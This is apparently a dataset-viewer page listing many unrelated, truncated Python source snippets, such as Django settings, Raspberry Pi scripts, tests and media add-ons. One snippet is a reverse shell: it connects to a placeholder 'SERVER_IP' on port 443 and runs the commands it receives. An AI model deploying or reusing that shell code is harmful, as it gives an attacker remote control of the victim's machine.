code stringlengths 1 199k |
|---|
class lazyproperty:
def __init__(self, func):
self.func = func
def __get__(self, instance, cls):
if instance is None:
return self
else:
value = self.func(instance)
setattr(instance, self.func.__name__, value)
return value
import math
class ... |
'''
JSON router wrapper
'''
from __future__ import absolute_import, print_function, with_statement
from .base import JsonObjectWrapper
__all__ = ('JsonRouterMinimal', 'JsonRouter')
class JsonRouter(JsonObjectWrapper):
'''
JSON wrapper for Router
'''
attributes = (
'name',
'unique_name',
... |
"""
Created on Thu Mar 10 00:09:52 2016
@author: Zahari Kassabov
"""
import pathlib
import logging
from collections.abc import Sequence
import shutil
log = logging.getLogger(__name__)
class EnvironmentError_(Exception): pass
available_figure_formats = {
'eps': 'Encapsulated Postscript',
'jpeg': 'Joint Photographic Ex... |
import os
from pathlib import Path
from dotgit.calc_ops import CalcOps
from dotgit.file_ops import FileOps
from dotgit.plugins.plain import PlainPlugin
class TestCalcOps:
def setup_home_repo(self, tmp_path):
os.makedirs(tmp_path / 'home')
os.makedirs(tmp_path / 'repo')
return tmp_path/'home'... |
from paramecio.citoplasma.generate_admin_class import GenerateAdminClass
from paramecio.citoplasma.lists import SimpleList
from paramecio.citoplasma.urls import make_url
from modules.pastafari.models import servers, tasks
from settings import config
from bottle import request, redirect
def admin(**args):
t=args['t'... |
__author__ = "Julius Gawlas <julius.gawlas@hp.com>"
from autotest.frontend.afe import models
__all__ = ['create', 'release']
def get_user(username=None):
'''
Get the specificed user object or the current user if none is specified
:param username: login of the user reserving hosts
:type username: str
... |
from invenio.dbquery import run_sql
depends_on = ['invenio_2013_08_20_bibauthority_updates']
def info():
return """Introduces new index: itemcount"""
def do_upgrade():
pass
def do_upgrade_atlantis():
#first step: create tables
run_sql("""CREATE TABLE IF NOT EXISTS idxWORD24F (
id medium... |
from AccessControl.SecurityManagement import newSecurityManager
from Products.Archetypes import Field
from Products.CMFCore.utils import getToolByName
import argparse
import openpyxl
import os
import shutil
import tempfile
import zipfile
export_types = [
'Client',
'Contact',
'ARPriority',
'AnalysisProfi... |
"""
pyblk._decorations._decorations
===============================
Tools to decorate networkx graphs in situ, i.e., as
constructed rather than as read from a textual file.
.. moduleauthor:: mulhern <amulhern@redhat.com>
"""
from __future__ import absolute_import
from __future__ import division
fro... |
"""Checks that cstdlib is included for some of its functions that we use
commonly.
Older Macs that build with libc++ instead of libstc++ need this.
"""
import re
FUNCTION_REGEX = re.compile(
r"""((\s|std::|\(|\[)(abs|ato[fil]|atoll|strto[dfl]|strtol[ld]|strtoul[l]{0,1}|malloc|getenv)|(\bstd::[s]{0,1}rand))\(""")
de... |
"""HDD temperature plugin."""
import os
import socket
from ocglances.compat import nativestr, range
from ocglances.logger import logger
from ocglances.plugins.glances_plugin import GlancesPlugin
class Plugin(GlancesPlugin):
"""Glances HDD temperature sensors plugin.
stats is a list
"""
def __init__(self... |
from datetime import date, timedelta
"Test Cases Start-HEMOGLOBIN"
DAYS_TO_SUBTRACT_1 = 58
G1_TEST_1 = {'result_value': 8.444, # FALSE
'test_code': 'HGB',
'datetime_drawn': date.today(),
'dob': date.today() - timedelta(days=DAYS_TO_SUBTRACT_1),
'gender': 'MF',
... |
"""
Copyright 2016, 2017 UFPE - Universidade Federal de Pernambuco
Este arquivo é parte do programa Amadeus Sistema de Gestão de Aprendizagem, ou simplesmente Amadeus LMS
O Amadeus LMS é um software livre; você pode redistribui-lo e/ou modifica-lo dentro dos termos da Licença Pública Geral GNU como publicada pela Funda... |
f = open("krog.txt", 'w')
n = 50
center = n/2
for i in range(n):
for j in range(n):
if (i - center)**2 + (j - center)**2 <= center**2:
f.write('#')
else:
f.write('.')
f.write('\n')
f.close()
f = open("slika.ppm", 'w')
f.write("P3\n")
f.write("# asdf\n")
n = 255
f.write("{... |
import RPi.GPIO as GPIO
from Adafruit_CharLCD import Adafruit_CharLCD
from subprocess import *
from time import sleep, strftime
from datetime import datetime
import urllib
import urllib2
import json
boxId = 1
boxLatitude = 53.3430708
boxLongitude = -6.2747221
questionId = ""
question = ""
loop = False
lcd = Adafruit_Ch... |
from __future__ import print_function
from ast import literal_eval
import ctypes
import errno
import fcntl
from glob import glob
import grp
import locale
import logging
import os
import os.path
import pickle
import pwd
import re
import select
import signal
import socket
import stat
import struct
import subprocess
impor... |
import RPi.GPIO as GPIO
import time
import sys, tty, termios
print '\nHi, I am PiBot, your very own learning robot.'
print 'My controls are "w"=forward; "s"=reverse; "a"=left; "d"=right and "q"=quit.'
print 'I hope you have lots of fun...'
GPIO.setmode(GPIO.BOARD)
GPIO.setup(7, GPIO.OUT)
GPIO.setup(11, GPIO.OUT)
GPIO.s... |
from tables import *
Node.__getitem__ = lambda self, key : self._f_get_child(key)
def encodeChrName(name):
if name[0:3].lower() == "chr":
name = name[3:]
if name.isdigit():
enc = int(name)
assert enc < 1000000 # not to interfere with contig encodings
return enc
elif name.star... |
__author__ = 'maln'
def isprime(n):
if n == 1:
return False
for x in range(2, n):
if n % x == 0:
return False
else:
return True
i = 1;
count_of_prime = 0
while count_of_prime < 10000:
if isprime(i):
print i
count_of_prime += 1
i += 1 |
import socket
import sys
import getopt
import marshal
import random
from time import sleep
sourceAddr = "0.0.0.0"
sourcePort = random.randint(60000, 65400) # Select random source port
packetLength = 32 # Number of bytes
packetBody = "\x00" * packetLength
socketFlagNum = 100 # SO_CROSS_LAYER_DELAY
sleepDuration = 2 ... |
import sys
import operator
import os
import string
class XorAttack(object):
def __init__(self):
self.exit = False
self.column = 0
self.maxCols = 0
def load(self):
self.messages = [
"315c4eeaa8b5f8aaf9174145bf43e1784b8fa00dc71d885a804e5ee9fa40b16349c146fb778cdf2d... |
import re, urllib, urlparse
from resources.lib.modules import cleantitle
from resources.lib.modules import client
class source:
def __init__(self):
self.priority = 1
self.language = ['fr']
self.domains = ['www.cinemay.com']
self.base_link = 'http://www.cinemay.com'
self.key_l... |
import socket,subprocess
HOST = 'SERVER_IP' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('[*] Connection Established!')
while 1:
# recieve shell command
data = s.recv(1024)
# if its qu... |
from openwns.module import Module
class DLL(Module):
def __init__(self):
super(DLL, self).__init__("dll", "dllbase") |
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('activitydb', '0015_auto_20150924_0646'),
]
operations = [
migrations.RemoveField(
model_name='projectproposal',
name='approval_su... |
"""
addonpr addonparser module
Copyright (C) 2012-2013 Team XBMC
http://www.xbmc.org
This Program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2, or (at your option)
any... |
import logging
import sqlite3
from pkg_resources import resource_filename
import time
import atexit
class Database:
"""
This object provides a full set of features to interface with a basic session database,
which includes following tables:
- **storage**: saves the state of the bot and hel... |
"""
EasyBuild support for gompic compiler toolchain (includes GCC and OpenMPI and CUDA).
:author: Kenneth Hoste (Ghent University)
:author: Fotis Georgatos (Uni.Lu, NTUA)
"""
from easybuild.toolchains.gcccuda import GccCUDA
from easybuild.toolchains.mpi.openmpi import OpenMPI
class Gompic(GccCUDA, OpenMPI):
"""Comp... |
""" Constant types and common constants for the Email module. """
from Cerebrum import Constants
class _EmailTargetCode(Constants._CerebrumCode):
_lookup_table = '[:table schema=cerebrum name=email_target_code]'
class _EmailDomainCategoryCode(Constants._CerebrumCode):
_lookup_table = '[:table schema=cerebrum na... |
"""{{ cookiecutter.site_name }}."""
from __future__ import absolute_import, print_function
from .version import __version__
__all__ = ('__version__',) |
import sys
from errno import ENOENT, ENOTEMPTY
import time
from multiprocessing import Process
import os
import xml.etree.cElementTree as etree
from argparse import ArgumentParser, RawDescriptionHelpFormatter, Action
import logging
import shutil
from utils import execute, is_host_local, mkdirp, fail
from utils import s... |
"""Platform-dependent setup, and program launch.
This script does all the platform dependent stuff.
Its main task is to figure out where MyPaint's python modules are,
and set up paths for i18n message catalogs.
It then passes control to gui.main.main() for command line launching.
"""
import sys
import os
import re
impo... |
import RPi.GPIO as GPIO
import time
pin = 12
time0 = 0
def actualizar(pinx):
time1 = time.time()
print("DTime = " + str(time1-time0))
time0 = time1
if __name__ == "__main__":
GPIO.setmode(GPIO.BOARD)
GPIO.setup(pin, GPIO.IN) #pull_up_down=GPIO.PUD_DOWN
GPIO.add_event_detect(pin, GPIO.FALLING, callback=actualizar... |
"""
Django settings for apartment_manage project.
For more information on this file, see
https://docs.djangoproject.com/en/1.7/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.7/ref/settings/
"""
import os
BASE_DIR = os.path.dirname(os.path.dirname(__file__))
SECR... |
ENVS = [
{
"name" : "DEV",
"label" : "DEV",
"id" : 2,
"prior" : "Library",
"created" : "12-12-2012",
},
{
"name" : "Library",
"label" : "Library",
"id" : 1,
"prior" : "None",
"created" : "12-12-2012",
}
] |
"""
[info]
name = Agilent N5230A Network Analyzer
version = 0.10.3
description = Four channel 5230A PNA-L network analyzer server
[startup]
cmdline = %PYTHON% %FILE%
timeout = 20
[shutdown]
message = 987654321
timeout = 5
"""
import os
if __file__ in [f for f in os.listdir('.') if os.path.isfile(f)]:
# This is exec... |
class Knowledge:
def __init__(self):
self.knowings = {}
def add(self, what, key, value):
if what not in self.knowings:
self.knowings[what] = {}
self.knowings[what][key] = value
def remove(self, what, key):
if what in self.knowings:
del self.knowings[wh... |
import os
import ycm_core
flags = [
'-Wall',
'-Wextra',
'-Werror',
'-Wc++98-compat',
'-Wno-long-long',
'-Wno-variadic-macros',
'-fexceptions',
'-DNDEBUG',
'''
'-DUSE_CLANG_COMPLETER',
'''
'-std=c++11',
'-x',
'c++',
'-isystem',
'../BoostParts',
'-isystem',
'/System/Library/Frameworks/Python.framework/Headers',
'-isystem... |
import test.configure |
import argparse
import sys
import os
import httplib
import time
from subprocess import call
from HTMLParser import HTMLParser
class asciicolors:
RESET = "\033[0m"
BLACK = "\033[30m"
RED = "\033[31m"
GREEN = "\033[32m"
YELLOW = "\033[33m"
BLUE = "\033[34m"
MAGENTA = "\033[35m"
CYAN = "\033[36m"
WHITE = "\033[37... |
'''
Default configurations.
'''
configs = {
'db': {
'host': '127.0.0.1',
'port': 3306,
'user': 'root',
'password': 'password',
'database': 'weixin'
},
'session': {
'secret': 'hustraiet'
}
} |
import grp, defaults, pprint, os, errno, gettext, marshal, fcntl, __builtin__
nagios_state_names = { -1: "NODATA", 0: "OK", 1: "WARNING", 2: "CRITICAL", 3: "UNKNOWN", 4: "DEPENDENT" }
nagios_short_state_names = { -1: "PEND", 0: "OK", 1: "WARN", 2: "CRIT", 3: "UNKN", 4: "DEP" }
nagios_short_host_state_names = { 0: "UP",... |
from pydynamind import *
import gdal, osr
from gdalconst import *
import struct
class DM_ValueFromRaster(Module):
display_name = "Value From Raster"
group_name = "Network Generation"
def getHelpUrl(self):
return "/DynaMind-GDALModules/dm_value_from_raster.html"
def __init__(s... |
import argparse
import logging
import dedoelen
from dedoelen.core import calendar
from dedoelen.core import scraper
from dedoelen.core import parser
from dedoelen.core import update
from dedoelen.core.conf import settings
from dedoelen.utils.localize import set_locale
from dedoelen.utils.log import init_logger
class Ma... |
from django.conf import settings
from django.conf.urls import patterns, include, url
from django.contrib.staticfiles.urls import staticfiles_urlpatterns
from misago.admin import ADMIN_PATH, site
urlpatterns = patterns('misago.apps',
url(r'^$', 'index.index', name="index"),
url(r'^read-all/$', 'readall.read_all'... |
"""QGIS Unit tests for QgsClassificationMethod implementations
.. note:: This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
"""
__a... |
import globalvar
import simplejson as json
import os
import xbmcgui
def list_shows(channel,folder):
shows=[]
if folder=='none':
shows.append( [channel,'show_folder', 'By Show','','folder'] )
shows.append( [channel,'unseen', 'All Unseen Episodes','','shows'] )
elif folder=='show_folder':
... |
import sys
import os
import re
import json
from collections import OrderedDict
from argparse import ArgumentParser
from argparse import RawDescriptionHelpFormatter
from elasticsearch import Elasticsearch
es_host = 'localhost:9200'
es_type = "donor"
es = Elasticsearch([es_host])
es_queries = [
# order of the queries i... |
'''
Created on 2012-7-4
@author: Vigi
'''
import re
class Categorizer():
def __init__(self, file):
self.file = open(file, 'w')
def generateList(self):
"Generate list"
pass
def startPage(self):
self.file.write(r'<html><head><meta http-equiv="content-type" content="text/html; c... |
"""Upload current temperature to temperatur.nu.
temperatur.nu is a Swedish web site that shows the current temperature
in many places.
* Web site: http://www.temperatur.nu/
* Additional dependency: http://docs.python-requests.org/
* Example ``weather.ini`` configuration::
[temperaturnu]
hash = longhexnumber
... |
from abapy.mesh import Mesh, Nodes, RegularQuadMesh
import matplotlib.pyplot as plt
from numpy import cos, pi
def function(x, y, z, labels):
r = (x**2 + y**2)**.5
return cos(2*pi*x)*cos(2*pi*y)/(r+1.)
N1, N2 = 100, 25
l1, l2 = 4., 1.
Ncolor = 20
mesh = RegularQuadMesh(N1 = N1, N2 = N2, l1 = l1, l2 = l2)
field = mesh.... |
import common
import connection
import m3u8
import base64
import datetime
import os
import ustvpaths
import re
import simplejson
import sys
import threading
import time
import urllib
import xbmc
import xbmcaddon
import xbmcgui
import xbmcplugin
from bs4 import BeautifulSoup, SoupStrainer
try:
from pycaption import det... |
import sys, unittest
sys.path.append('../bin')
sample_input_1 = open('sample_input_from_splunk_1.csv', 'r')
sample_input_2 = open('sample_input_from_splunk_2.csv', 'r')
sys.stdin = sample_input_1
import stateChange
class RSVSTARTTestCase(unittest.TestCase):
def setUp(self):
# for these tests, we expect some input... |
import eyeD3
import os
import json
import pyglet
import random
import time
class Song():
""" A single song
"""
def __init__(self, collection_path):
""" Init a song
@param collectionpath: The path containing the music collection
"""
self.collection_path = collection_path
... |
VERSION = (0, 3)
__version__ = ".".join(map(str, VERSION[0:2])) + "".join(VERSION[2:])
__license__ = "BSD"
from pyfttt.sending import * |
from pathlib import Path
BOT_NAME = 'reddit_scrapers'
SPIDER_MODULES = ['reddit_scrapers.spiders']
NEWSPIDER_MODULE = 'reddit_scrapers.spiders'
ROBOTSTXT_OBEY = True
DOWNLOAD_DELAY = 7
ITEM_PIPELINES = {
'scrapy.pipelines.images.ImagesPipeline': 1
}
IMAGES_STORE = str(Path.home())+'/EarthPorn'
IMAGES_EXPIRES = ... |
"""
Classes concernant le L{Dispatchator<base.Dispatchator>}. Seule L{la factory
<factory.make_dispatchator>} est directement accessible au niveau du module.
"""
from __future__ import absolute_import
from vigilo.vigiconf.lib.dispatchator.factory import make_dispatchator
__all__ = ("make_dispatchator", ) |
"""Manual tests"""
import pytest
from cfme import test_requirements
@pytest.mark.manual
@test_requirements.settings
@pytest.mark.tier(3)
def test_validate_landing_pages_for_rbac():
"""
Bugzilla:
1450012
Polarion:
assignee: pvala
casecomponent: Settings
caseimportance: medium
... |
import gi
gi.require_version("NetworkManager", "1.0")
from gi.repository import NetworkManager
import shutil
from pyanaconda import iutil
import socket
import os
import time
import threading
import re
import dbus
import ipaddress
from uuid import uuid4
import itertools
import glob
from pyanaconda.simpleconfig import Si... |
from random import random
class Cell:
def __init__(self, fitness):
self.fitness = fitness
self.survivability = self.fitness
def live(self, environment_modifier):
self.survivability = self.fitness + environment_modifier |
"""
UNIVERSIDAD DE COSTA RICA Escuela de Ingeniería Eléctrica
IE0499 | Proyecto Eléctrico
Mario Alberto Castresana Avendaño
A41267
Programa: BVH_TuneUp
-------------------------------------------------------------------------------
archivo: Leg.py
descripción:
Este archivo contiene la clase Leg, l... |
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('cadeau', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='artikel',
name='foto',
field=models.Ima... |
from django.test import TestCase
from ..models import Setting
class SettingModelTests(TestCase):
def test_real_value(self):
"""setting returns real value correctyly"""
setting_model = Setting(python_type='list', dry_value='')
self.assertEqual(setting_model.value, [])
setting_model = ... |
import json
import pytest
from boltons.iterutils import same
from ..pool import DEFAULT_MANAGER_IDS
from .test_cli import CLISubCommandTests, CLITableTests
@pytest.fixture
def subcmd():
return "installed"
class TestInstalled(CLISubCommandTests, CLITableTests):
@pytest.mark.parametrize("mid", DEFAULT_MANAGER_IDS... |
import gettext
from zope.interface import implements
from flumotion.admin.assistant.interfaces import IEncoderPlugin
from flumotion.admin.assistant.models import AudioEncoder
from flumotion.admin.gtk.basesteps import AudioEncoderStep
__version__ = "$Rev: 7268 $"
_ = gettext.gettext
class SpeexAudioEncoder(AudioEncoder)... |
import pygame, os, time, random
import spidev
pygame.init()
os.environ['SDL_VIDEO_WINDOW_POS'] = 'center'
pygame.display.set_caption("Bounce Test")
pygame.event.set_allowed(None)
pygame.event.set_allowed([pygame.KEYDOWN,pygame.QUIT])
screenWidth = 1000 ; screenHight = 230
screen = pygame.display.set_mode([screenWidth,s... |
from Step import Step
class Welcome(Step):
def show(self):
self.render('Welcome.tmpl') |
import sys, traceback, Ice
Ice.loadSlice('Latency.ice')
import Demo
class Server(Ice.Application):
def run(self, args):
if len(args) > 1:
print self.appName() + ": too many arguments"
return 1
adapter = self.communicator().createObjectAdapter("Latency")
adapter.add(De... |
import pywikibot
from pywikibot import pagegenerators
from .query_store import QueryStore
from .wikidata import WikidataEntityBot
class LabelsFixingBot(WikidataEntityBot):
use_from_page = False
def __init__(self, generator, **kwargs):
self.available_options.update({
'always': True,
... |
import random, os
from vg import config
from vg import utils
class SoundManager:
sounds = [] #constant across all instances
sets = {}
def __init__(self, filename=config.SOUND_YAML):
if not self.sounds:
self.load(filename)
def load(self, filename):
"""Load up the class copies ... |
import ldac
import numpy as np
import pdb
class LDA(object):
"""LDA Class"""
def __init__(self, this):
self.this = this
self.ext = None
def __del__(self):
print("Destructor called!")
ldac.delete(self.this, self.ext)
def __reduce__(self):
buff = self.serialize()
... |
from functools import partial
import uuid
from PyQt5 import (
QtCore,
QtGui,
QtWidgets,
)
from picard.const import DEFAULT_PROFILE_NAME
from picard.util import unique_numbered_title
from picard.ui import HashableListWidgetItem
class ProfileListWidget(QtWidgets.QListWidget):
def contextMenuEvent(self, ev... |
from __future__ import print_function
try:
PermissionError
except NameError:
PermissionError = OSError
import unittest
import os
import datetime
from cachefile import Cachefile
class TestCache(Cachefile):
def __init__(self, cachedir):
super(TestCache, self).__init__(cachedir)
def apply_types(sel... |
class Solution(object):
def rotate(self, matrix):
"""
Rotate nxn 2D matrix clockwise (in-place)
:type matrix: List[List[int]]
:rtype: void Do not return anything, modify matrix in-place instead.
| 1 2 3 | | 7 4 1 |
| 4 5 6 | | 8 5 2 |
| 7 8 9 | | 9 6 ... |
import pygtk
import gtk
from IsCoder.Constants import *
from IsCoder.Plugin import Plugin
import locale
import gettext
locale.setlocale(locale.LC_ALL, "")
gettext.bindtextdomain("iscoder", DataDir + "/locale")
gettext.textdomain("iscoder")
_ = gettext.gettext
plugin = Plugin(_("MP3"), "Audio") |
""" Module for logging facilities """
import logging;
def init( logfile='logging.log', debug=False, verbose=False ):
"""
Initialize logging handler
A code logging handler is initialized with default values. It is returned a
logging handler for the user (see 'logging' package for more info).
By defau... |
import pandas as pd
import numpy as np
def regression_set(df, target_key, initial_time, horizon, deltat=0):
n_horizon = _calc_horizon(df.index, horizon)
n_deltat = _calc_horizon(df.index, deltat)
for n in range(n_deltat):
df = _shift_features(df, target_key, n+1)
df = _shift_features(df, key=tar... |
import pyActiveCollab as pyac
import json
ac = pyac.activeCollab("~/.activeCollab", log_level="info")
print json.dumps(json.loads(ac.get_info()), indent=4, sort_keys=True) |
Sphere()
Shrink()
Show()
Render() |
from heppy.framework.analyzer import Analyzer
from heppy.statistics.tree import Tree
from heppy_fcc.analyzers.ntuple import *
from ROOT import TFile
class IsoParticleTreeProducer(Analyzer):
def beginLoop(self, setup):
super(IsoParticleTreeProducer, self).beginLoop(setup)
self.rootfile = TFile('/'.jo... |
import pybot.globals as globals
import pybot.data as data
import re
import os
def pybotPrint(text, mode=""):
settings = globals.settings
if (data.toBool(settings.config["print"]["HTML"])):
print("<div class='pybot-out-" + mode + "'>" + text + "</div>")
else:
print(text)
globals.data.... |
from collections import namedtuple
from functools import update_wrapper
from threading import RLock
_CacheInfo = namedtuple("CacheInfo", ["hits", "misses", "maxsize", "currsize"])
class _HashedSeq(list):
__slots__ = 'hashvalue'
def __init__(self, tup, hash=hash):
self[:] = tup
self.hashvalue = h... |
from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^$', views.index, name='index'),
] |
from math import pi,radians, cos, sin, asin, sqrt, ceil, floor
from s2sphere import CellId, LatLng, Cell, MAX_AREA, Point
from operator import itemgetter
earth_Rmean = 6371000.0
earth_Rrect = 6367000.0
earth_Rmax = 6378137.0
earth_Rmin = 6356752.3
def earth_Rreal(latrad):
return (1.0 / (((cos(latrad)) / earth_Rmax)... |
from odoo import api, fields, models, _
from odoo.exceptions import ValidationError
class AccountInvoice(models.Model):
_inherit = "account.invoice"
@api.depends('amount_total')
def _compute_amount_total_words(self):
for invoice in self:
invoice.amount_total_words = invoice.currency_id.a... |
from qgis_mobility.generator.builder import Builder
import distutils.dir_util
import os
import glob
import shutil
from qgis_mobility.generator.python_builder import PythonBuilder
from qgis_mobility.generator.qgis_builder import QGisBuilder
from qgis_mobility.generator.pyqt_builder import PyQtBuilder
class RuntimeBuilde... |
from common import mathutil
import decimal
def main():
decimal.getcontext().prec = 110
total = 0
for i in range(1, 100):
if not mathutil.isPower(i, 2):
total += sumOfDigits(i)
print(total)
def sumOfDigits(n):
dec = str(decimal.Decimal(n).sqrt())
i = dec.index('.')
dec = dec[i + 1: i + 100] #-1]
return sum(... |
from __future__ import absolute_import
import os
tests_dir = os.path.dirname(os.path.realpath(__file__)) or '.'
os.chdir(tests_dir)
_okconfig_overridden_vars = {}
_environment = None
import okconfig
import okconfig.config as config
from shutil import copytree
import unittest2 as unittest
from pynag.Utils.misc import Fa... |
from __future__ import print_function, division, unicode_literals
import os
import ycm_core
from clang_helpers import PrepareClangFlags
compilation_database_folder = ''
flags = [
'-std=c++11',
'-x',
'c++',
'-DQT_CORE_LIB',
'-DQT_GUI_LIB',
'-DQT_NETWORK_LIB',
'-DQT_QML_LIB',
'-DQT_QUICK_LIB',
'-DQT_SQL_LIB',
'-DQT_WIDGE... |
from django.conf.urls import patterns, url
from .views import ChatRoom, CreateMessage, CreateRoom
from django.contrib.auth.decorators import login_required
urlpatterns = patterns('',
url(r'^$', login_required(CreateRoom.as_view()), name='lobby'),
url(r'^(?P<room>.+)/msg/$', login_required(CreateMessage.as_view(... |
import os
def show_info():
temp_sensor_list = ""
out = os.popen("ls /sys/bus/w1/devices").read()
w1_bus_folders = out.splitlines()
for folder in w1_bus_folders:
if folder[0:3] == "28-":
temp_sensor_list += folder + "\n"
return temp_sensor_list.strip()
if __name__ == '__main__':
... |
from django.test import TestCase
from django.test.client import Client
class DownloadTest(TestCase):
def setUp(self):
self.client = Client()
def test_access_download_page(self):
"""
Test the access to the download page. Allow for everybody.
"""
result = self.client.get('/... |
import sys, os
import qtawesome as qta
from components import create
from components import introductionWindow
from PyQt5 import QtGui, QtCore, QtWidgets
import colorama as clr
class Window(QtWidgets.QWidget):
def __init__(self):
super(Window, self).__init__()
self.setGeometry(50,50,1200,700)
... |
from tornado import web,ioloop
import os
from pymongo import MongoClient
class removeHandler(web.RequestHandler):
def get(self):
# GET THE URL DATA
userid = self.get_query_arguments("userid")[0]
friendid = self.get_query_arguments("friendid")[0]
#MAKE DATABASE CONNECTION
client = MongoClient()
db_livechat ... |
import os
import sys
import re
excludePaths = ['\\.git',
'/gtest',
'/gmock',
'/qhttpserver',
'/qt5rpi']
def update_source(filename, oldcopyright, copyright):
utfstr = chr(0xef)+chr(0xbb)+chr(0xbf)
fdata = file(filename, 'r').read()
isUTF = Fals... |
"""OAuth 2.0 utilities for SQLAlchemy.
Utilities for using OAuth 2.0 in conjunction with a SQLAlchemy.
Configuration
=============
In order to use this storage, you'll need to create table
with :class:`oauth2client.contrib.sql_alchemy.CredentialsType` column.
It's recommended to either put this column on some sort of u... |
import os
import unittest
from vsg.rules import if_statement
from vsg import vhdlFile
from vsg.tests import utils
sTestDir = os.path.dirname(__file__)
lFile, eError =vhdlFile.utils.read_vhdlfile(os.path.join(sTestDir,'rule_011_test_input.vhd'))
lExpected = []
lExpected.append('')
utils.read_file(os.path.join(sTestDir, ... |
from django.db import models
from apps.core.querysets import BaseModelQuerySet
from django.utils.translation import ugettext as _
from django.contrib.auth.base_user import BaseUserManager
from cities_light.abstract_models import (
AbstractRegion, AbstractCountry, AbstractCity
)
from cities_light.receivers import co... |
import os
import copy
import heppy.framework.config as cfg
gen_jobs = 0
do_display = True
do_pf = False
nevents_per_job = 5000
GEN = gen_jobs
FCC = os.environ.get('FCCEDM', False) and not GEN
CMS = os.environ.get('CMSSW_BASE', False) and not GEN
if gen_jobs>1:
do_display = False
selectedComponents = None
if CMS:
... |
import os
""" Programme qui fait évoluer des points représentatifs des crêtes d'un front
d'onde au passage d'une interface en modifiant la vitesse de propagation mais
pas la direction => le front d'onde change naturellement de direction."""
import numpy as np # Boîte à outils numériques
import matplotlib.... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.